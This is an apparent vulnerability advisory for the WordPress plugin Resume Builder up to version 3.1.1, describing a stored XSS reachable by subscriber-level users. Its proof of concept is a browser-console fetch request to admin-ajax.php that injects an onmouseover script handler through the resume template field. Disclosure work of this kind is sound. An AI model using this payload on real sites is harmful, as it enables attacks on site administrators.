WordPress Plugin Vulnerabilities
Resume Builder <= 3.1.1 - Subscriber+ Stored XSS
Description
The plugin does not sanitize and escape some parameters related to Resume, which could allow users with a role as low as subscriber to perform Stored XSS attacks against higher privilege users
Proof of Concept
Run the below command in the developer console of the web browser while being on the blog as subscriber user fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: new Headers({ 'Content-Type': 'application/x-www-form-urlencoded', }), body: 'action=rb_save_resume&resume_id=undefined&resume_data={"name":"XSS","featured_image":false,"featured_image_url":false,"resume_file":false,"introduction":{"subtitle":"XSS","content":"<p></p>"},"contact":{"email":"","phone":"","website":"","address":""},"experience":[],"skills":[],"display":{"template":"default\\" onmouseover=\\"alert(1)\\"","text_color":"#000000","highlight_color":"#2271b1","star_color":"#ffA500","wrapper_style":"full","max_width":"100","max_width_type":"percent","padding":"0","container_bg":"#ffffff","container_shadow":"false","container_border_radius":"0","sidebar_position":"left","rating_stars":"show","photo_size":"100","attachment_button_text":"Download Attachment"}}' }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));
